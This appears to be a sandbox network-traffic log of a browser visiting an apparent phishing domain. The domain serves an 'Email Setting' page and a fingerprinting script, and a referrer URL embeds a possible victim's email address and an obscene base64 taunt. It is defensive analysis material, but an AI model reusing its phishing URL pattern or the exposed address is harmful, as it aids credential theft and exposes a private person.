@NZFi!VNGcoTTH);k$=Rv!HVTO*6vYUnR{QlDlB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:48 UTC	361	OUT	GET /norton.png HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:49 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:49 GMT Content-Type: image/png Content-Length: 97680 Last-Modified: Mon, 25 Nov 2024 14:35:50 GMT Connection: close ETag: "67448b46-17d90" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:49 UTC	1065	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 b9 03 34 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC4"}!1AQa"q2
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 01 2a 12 41 c9 cf 3f e1 45 09 d0 fd 7f a0 a2 80 23 6e a7 ea 7f 9d 25 2b 75 3f 53 fc e9 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 Data Ascii: %>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%*A?E#n%+u?S((((((
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 7a 9e 2c f1 b9 d4 4d c1 7f b3 fd 9b ec b6 5e 56 3c df 3e 4c f9 75 f0 5e 27 e6 5c 05 94 70 27 10 e6 3e 27 52 c0 d6 e0 4c 2e 1b 0f 2e 21 a5 99 65 98 8c e7 03 3c 34 f1 d8 5a 58 75 88 cb 30 b8 5c 6e 23 17 15 8e 9e 15 c6 14 b0 b5 9c 66 a3 51 c5 46 0e 51 f7 f8 67 0d 9e 62 b3 cc bf 0d c3 32 ad 4f 3e a9 52 6b 2f 96 1b 13 0c 1d 78 d5 54 2a 4a a3 a7 89 ab 56 8d 3a 4f d8 46 ad dc aa c5 38 b7 14 db 95 9f ed 4f 86 7e 07 78 07 c2 7a cd a6 bd a3 d9 5e c5 a8 58 b3 b5 bb cb a8 5c 4d 18 2e 8d 1b 16 8d d8 ab 7c ac 71 91 c1 e6 bd 7e be 5f f0 07 ed 1c de 38 f1 56 99 e1 a3 e1 15 d3 46 a2 f2 21 bc 1a d9 ba 30 f9 71 3c b9 f2 3f b2 ad f7 e7 66 31 e6 a6 33 9c 9e 95 f5 05 7c 8f 81 79 ff 00 82 bc 45 c2 d9 8e 33 c0 cc 36 4f 85 e1 7a 59 dd 6c 3e 63 4f 25 e1 ec 77 0d e1 9e 77 1c 16 0a Data Ascii: z,M^V<>Lu^'\p'>'RL..!e<4ZXu0\n#fQFQgb2O>Rk/xT*JV:OF8O~xz^X\M.\|q~_8VF!0q<?f13\|yE36OzYl>cO%ww
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 65 99 e1 31 31 a4 f1 78 09 57 c5 db 09 46 94 6b 52 f6 75 a2 a2 b9 e4 fd 9d f9 25 79 59 9f 3b ff 00 c1 15 3f 62 af 8d bf b0 cf ec d1 e2 df 85 df 1d ac bc 3f 63 e2 ad 63 e2 4e a3 e2 7b 38 bc 39 ae c1 af d9 b6 97 73 a5 e9 d6 91 3c 97 76 f1 c6 89 31 96 da 40 62 2b b8 00 0e 70 6b f4 3f e3 e7 c3 df 11 fc 41 d1 f4 2b 3f 0e c5 6d 2c d6 1a 85 c5 c5 c0 b9 b9 4b 60 b1 4b 6e 23 52 a5 c1 dc 77 0c 10 3a 75 a5 f8 3f fb 53 7e ce 5f b4 06 a3 ab e9 1f 04 be 35 7c 38 f8 a5 aa 68 16 70 ea 1a d5 87 82 3c 55 a5 78 82 eb 4b b1 b9 98 db c1 77 7b 0e 9f 71 3b db c1 2c e0 c5 1c 92 05 56 90 6d 07 35 ef 95 fd 51 e2 27 01 e4 9e 26 f0 66 7b c0 bc 45 3c 75 3c 97 88 28 50 c3 e3 e7 96 d7 a7 86 c6 c6 9e 1f 19 86 c7 53 fa bd 7a b4 31 14 e9 cb db 61 69 29 39 51 a8 9c 39 a3 64 da 6b f2 be 1f Data Ascii: e11xWFkRu%yY;?b?ccN{89s<v1@b+pk?A+?m,K`Kn#Rw:u?S~_5\|8hp<UxKw{q;,Vm5Q'&f{E<u<(PSz1ai)9Q9dk
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 83 69 da ec 00 80 cb 7d 6b e5 4c 57 8c ed b9 b4 78 5c 39 e7 0c eb 22 82 79 43 5e ef e1 8f da 8f c2 3a 99 8e 1f 10 e9 d7 ba 04 ed 80 d3 21 1a 85 90 63 8c fc f1 a4 77 0a a0 e4 e4 c1 80 3b 93 5f 9f f4 57 f4 67 03 fd 31 be 90 1c 0f 52 8c 69 71 be 27 89 72 fa 4e 3c d9 67 18 51 a7 9f 51 a9 08 d9 28 3c 76 23 93 39 a4 b9 57 2a 54 33 3a 49 27 b3 69 5b f3 bc ef c1 ee 00 ce e3 37 2c 92 96 5b 88 95 da c4 e5 13 96 02 71 6f af b0 a7 7c 1c dd f5 fd e6 1a 4f 7d 55 cf d5 3b bf 8d 3f 08 74 f8 60 9f 53 f8 9d e0 3d 25 2e 10 49 12 ea fe 2a d1 34 a9 59 0f 73 06 a1 7b 6d 32 1f 55 78 d5 87 71 59 df f0 d0 5f 01 ff 00 e8 b4 fc 29 ff 00 c3 83 e1 3f fe 5b 57 e5 1e bf e1 cd 07 c5 5a 74 da 4f 89 34 8d 3f 5b d3 67 04 49 67 a9 5a c5 75 09 24 15 dc ab 2a b6 c7 01 8e d9 10 ab ae 4e d6 15 Data Ascii: i}kLWx\9"yC^:!cw;_Wg1Riq'rN<gQQ(<v#9WT3:I'i[7,[qo\|O}U;?t`S=%.I4Ys{m2UxqY_)?[WZtO4?[gIgZu$*N
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 1e 84 8f 18 0c 8a 7f fc 38 7f c3 bf f4 72 3a ef fe 1b ab 4f fe 6c 68 21 bb b6 fb 9f b4 bf f0 d0 5f 01 ff 00 e8 b4 fc 29 ff 00 c3 83 e1 3f fe 5b 51 ff 00 0d 05 f0 1f fe 8b 4f c2 9f fc 38 3e 13 ff 00 e5 b5 7e 2d 7f c3 87 fc 3b ff 00 47 23 ae ff 00 e1 ba b4 ff 00 e6 c6 8f f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d0 23 f6 97 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a 3f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 af c5 af f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d1 ff 00 0e 1f f0 ef fd 1c 8e bb ff 00 86 ea d3 ff 00 9b 1a 00 fd a5 ff 00 86 82 f8 0f ff 00 45 a7 e1 4f fe 1c 1f 09 ff 00 f2 da 8f f8 68 2f 80 ff 00 f4 5a 7e 14 ff 00 e1 c1 f0 9f ff 00 2d ab f1 6b fe 1c 3f e1 df fa 39 1d 77 ff 00 0d d5 a7 ff 00 36 34 7f c3 87 fc 3b Data Ascii: 8r:Olh!_)?[QO8>~-;G#pu7V#??p\|'j?iSpu7VEOh/Z~-k?9w64;
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 91 d7 7f f0 dd 5a 7f f3 63 47 fc 38 7f c3 bf f4 72 3a ef fe 1b ab 4f fe 6c 68 03 f6 97 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a 3f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 af c5 af f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d1 ff 00 0e 1f f0 ef fd 1c 8e bb ff 00 86 ea d3 ff 00 9b 1a 00 fd a5 ff 00 86 82 f8 0f ff 00 45 a7 e1 4f fe 1c 1f 09 ff 00 f2 da 8f f8 68 2f 80 ff 00 f4 5a 7e 14 ff 00 e1 c1 f0 9f ff 00 2d ab f1 6b fe 1c 3f e1 df fa 39 1d 77 ff 00 0d d5 a7 ff 00 36 34 7f c3 87 fc 3b ff 00 47 23 ae ff 00 e1 ba b4 ff 00 e6 c6 80 3f 69 7f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 a3 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a fc 5a ff 00 87 0f f8 77 fe 8e 47 5d ff 00 c3 75 69 ff 00 cd 8d 1f f0 e1 ff 00 Data Ascii: ZcG8r:Olh??p\|'j?iSpu7VEOh/Z~-k?9w64;G#?iiS??p\|'jZwG]ui
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 46 6a 58 9c 7a ba 9d 2c 9e 8d 4a 75 12 b5 4c 6d 6c 34 1d 2a 78 8f da fc 35 f0 7b 31 e3 17 4b 36 cd dd 6c b3 87 54 93 85 44 94 71 99 9f 2b 57 86 0e 33 4d 53 c3 bd 54 b1 93 8b 8b 77 8d 08 54 92 94 a9 fa 9f c4 af 8f 1e 27 f1 c3 dc 69 f6 0e fa 1f 87 8b 14 4b 2b 49 5d 6e 6e a3 07 87 bf b9 52 ad 21 7e a6 18 c2 42 a0 ed 22 4c 16 3e 12 49 27 24 92 4f 52 79 27 f1 a4 a2 bf c5 ae 38 e3 fe 30 f1 23 3e c4 f1 2f 1b 67 f8 fc ff 00 37 c4 b9 7e ff 00 19 56 f4 b0 d4 9c 9c a3 85 c0 e1 60 a1 85 c0 60 e9 b6 d5 2c 2e 12 95 1a 30 5a a8 5d b6 ff 00 b3 72 4c 83 27 e1 cc 0d 3c b7 25 c0 50 c0 61 29 a5 ee 51 8d a7 56 69 28 ba b5 ea ca f5 6b d6 92 4b 9a ad 59 ce 72 ea ed 64 14 51 45 7c 79 ec 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 55 5b eb fb 2d 2e ce e7 51 Data Ascii: FjXz,JuLml4*x5{1K6lTDq+W3MSTwT'iK+I]nnR!~B"L>I'$ORy'80#>/g7~V``,.0Z]rL'<%Pa)QVi(kKYrdQE\|yQ@Q@Q@Q@Q@U[-.Q
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 0f ed 4b e3 3f 04 eb da 9f 85 fc 55 e1 ef 86 1a 96 a1 a2 6b fa 35 dc b6 3a a6 97 7b 1d e5 8a a5 d5 95 dc 2c b2 c1 32 ab b0 0e 8c 18 06 3c f3 5f e7 62 7f e0 a1 df b7 00 24 7f c3 52 7c 69 e0 9f f9 9e b5 bf fe 4a a0 a8 c5 cb 5b ff 00 5a 1f ea 87 91 ea 3f 31 46 47 a8 fc c5 7f 95 df fc 3c 3b f6 e1 ff 00 a3 a4 f8 d3 ff 00 85 d6 b7 ff 00 c9 54 0f f8 28 7f ed c2 08 3f f0 d4 9f 1a 78 39 ff 00 91 eb 5b fe b7 46 82 bd 9b ee bf af e9 ff 00 4f 4f f5 45 a2 bf 21 ff 00 e0 8b ff 00 b7 51 fd b6 bf 64 5f 0f 5d 78 af 59 8f 52 f8 c7 f0 90 59 f8 0f e2 69 96 60 da 8e a7 35 a5 b0 1a 0f 8a ee e3 76 32 b3 78 87 4d 88 49 73 74 41 8e e3 54 b5 d4 4a 90 ea f1 a7 eb c5 04 35 66 d7 60 a2 8a 28 10 12 07 52 07 d6 93 23 d4 7e 62 bf 94 ff 00 f8 39 5b f6 8a f8 e7 f0 1f 54 fd 93 63 f8 39 f1 Data Ascii: K?Uk5:{,2<_b$R\|iJ[Z?1FG<;T(?x9[FOOE!Qd_]xYRYi`5v2xMIstATJ5f`(R#~b9[Tc9
2024-11-27 03:06:49 UTC	1369	IN	Data Raw: 07 bc 2d 7c 57 89 8f 10 67 94 64 b8 77 07 5a d4 30 f2 4e 3f da f8 aa 52 4d d3 e8 fe a3 45 e9 88 9c 7f 8d 34 f0 f0 7e ed 67 08 75 5d 57 50 d6 f5 0b ad 53 54 ba 96 f2 fa f2 56 9a e2 e2 66 2e ee ec 7d 4f 45 03 0a aa 30 aa a0 2a 80 00 15 9f 45 15 fe 24 62 71 38 8c 66 22 be 2f 17 5e b6 2b 15 8a ad 53 11 89 c4 e2 2a 4e b5 7c 45 7a d3 75 2a d6 ad 56 a3 95 4a b5 6a d4 94 a7 52 a4 e5 29 4e 72 72 93 6d b6 7f 6b 52 a5 4e 8d 3a 74 68 d3 85 2a 54 a1 1a 74 a9 d3 8a 85 3a 74 e1 15 18 42 10 8a 51 8c 23 14 a3 18 c5 24 92 49 2b 20 a2 8a 2b 12 c2 8a 2a cd a5 9d dd fd c4 56 96 36 d3 dd dc cc c1 22 b7 b6 89 e6 9a 47 24 00 a9 1c 6a ce c4 92 38 50 4d 69 4a 95 5a f5 69 d1 a1 4e a5 6a d5 67 1a 74 a9 52 84 aa 55 a9 52 6d 46 10 a7 4e 09 ca 73 94 9a 8c 63 14 e5 26 d2 49 b6 4c e7 0a Data Ascii: -\|WgdwZ0N?RME4~gu]WPSTVf.}OE0E$bq8f"/^+SN\|EzuVJjR)NrrmkRN:thTt:tBQ#$I+ +*V6"G$j8PMiJZiNjgtRURmFNsc&IL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49762	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:50 UTC	872	OUT	GET /favicon.ico HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:50 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 5314 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 25 Nov 2024 14:35:50 GMT ETag: "14c2-627bda62631dc" Accept-Ranges: bytes Vary: Accept-Encoding
2024-11-27 03:06:50 UTC	1075	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 69 76 65 30 22 20 63 6f 6e 74 65 6e 74 3d 22 24 32 79 24 31 32 24 32 43 48 46 68 2e 44 67 58 62 6b 53 6d 69 4c 4b 48 79 79 37 6f 75 64 4b 41 4c 54 4f 6f 70 6f 68 51 5a 6d 31 37 72 50 43 56 4d 79 38 34 64 2f 6e 71 66 51 2e 2e 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 6d 61 69 6c 20 53 65 74 74 69 6e 67 3c 2f 74 69 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ.."> <meta charset="utf-8"> <title>Email Setting</ti
2024-11-27 03:06:50 UTC	1369	IN	Data Raw: 75 74 65 3b 0a 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 33 70 78 29 3b 0a 20 20 20 20 20 20 66 69 6c 74 65 72 3a 20 62 6c 75 72 28 34 70 78 29 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6c 65 78 2d 66 6c 65 78 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 Data Ascii: ute; left: 0; top: 0; z-index: 0; width: 100%; height: 100%; -webkit-filter: blur(3px); filter: blur(4px); background-repeat: no-repeat; background-size: cover; } .flex-flex { display: f
2024-11-27 03:06:50 UTC	1369	IN	Data Raw: 65 72 20 7b 0a 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 6f 72 6d 62 67 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 34 38 70 78 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 72 67 62 61 28 36 30 2c 20 36 36 2c 20 38 37 2c 20 30 2e 31 32 29 20 30 70 78 20 37 70 78 20 31 34 Data Ascii: er { -ms-flex-pack: center; justify-content: center; } .formbg { margin: 0px auto; width: 100%; max-width: 448px; background: white; border-radius: 4px; box-shadow: rgba(60, 66, 87, 0.12) 0px 7px 14
2024-11-27 03:06:50 UTC	1369	IN	Data Raw: 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 69 6e 70 75 74 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 75 6e 73 65 74 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 66 69 65 6c 64 2d 63 68 65 63 6b 62 6f 78 20 6c 61 62 65 6c 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 Data Ascii: cursor: pointer; } .field-checkbox input { width: 20px; height: 15px; margin-right: 5px; box-shadow: unset; min-height: unset; } .field-checkbox label { display: flex; align-items: center;
2024-11-27 03:06:50 UTC	132	IN	Data Raw: 6e 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 69 6e 64 65 78 2d 44 4d 50 41 55 4d 43 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 0a 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: n src="/assets/index-DMPAUMCk.js"></script></head> <body> <div id="root"></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49763	76.223.60.10	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:50 UTC	599	OUT	GET /xridvya/qAo6p?q=PpV6WKGGlibbhVc8aHxy HTTP/1.1 Host: api.fpjs.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:50 UTC	512	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:06:50 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 96 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Retry-After Cache-Control: max-age=31536000, immutable, private Content-Security-Policy: default-src 'none'; frame-ancestors 'none' Referrer-Policy: no-referrer Strict-Transport-Security: max-age=63072000 Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Robots-Tag: noindex
2024-11-27 03:06:50 UTC	96	IN	Data Raw: 45 44 74 77 31 42 4f 6f 38 75 4b 36 6d 63 6d 41 41 30 44 79 72 53 2f 36 6c 56 52 36 35 66 4e 70 55 32 49 6a 77 4b 46 54 70 50 6e 69 6a 71 6c 68 4d 39 34 68 4d 77 50 70 6a 7a 4f 31 73 46 48 6b 56 42 4c 71 2f 45 73 61 6d 72 45 39 5a 64 37 76 62 63 4b 71 77 57 39 50 31 57 4f 38 38 44 51 3d Data Ascii: EDtw1BOo8uK6mcmAA0DyrS/6lVR65fNpU2IjwKFTpPnijqlhM94hMwPpjzO1sFHkVBLq/EsamrE9Zd7vbcKqwW9P1WO88DQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49766	13.227.8.63	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:50 UTC	377	OUT	GET /v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js HTTP/1.1 Host: fpnpmcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:51 UTC	719	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Content-Length: 165608 Connection: close Server: CloudFront Date: Wed, 27 Nov 2024 03:06:47 GMT Cache-Control: public, max-age=3420, s-maxage=609719 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff ETag: "/gz8lNgTzGWbV+1KSzzNsZi/3FQ" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 28067c3a345fdd5277603bfdb86abe14.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Y7x-7TNoa3yDwvLmXETl2O-9QWjtE1h-cyHEH8VKq5ssWLsBhNdxcg== Age: 4
2024-11-27 03:06:51 UTC	16384	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 46 69 6e 67 65 72 70 72 69 6e 74 20 50 72 6f 20 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 2c 20 49 6e 63 2c 20 32 30 32 34 20 28 68 74 74 70 73 3a 2f 2f 66 69 6e 67 65 72 70 72 69 6e 74 2e 63 6f 6d 29 0a 20 2a 2f 0a 0a 76 61 72 20 5f 5f 66 70 6a 73 5f 70 5f 6c 5f 62 3d 28 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 6e 24 31 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 6e 24 31 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 6e 2e 5f 5f 70 72 6f 74 6f Data Ascii: /** * Fingerprint Pro - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com) */var __fpjs_p_l_b=(function(exports){'use strict';var n$1=function(t,r){return n$1=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,t){n.__proto
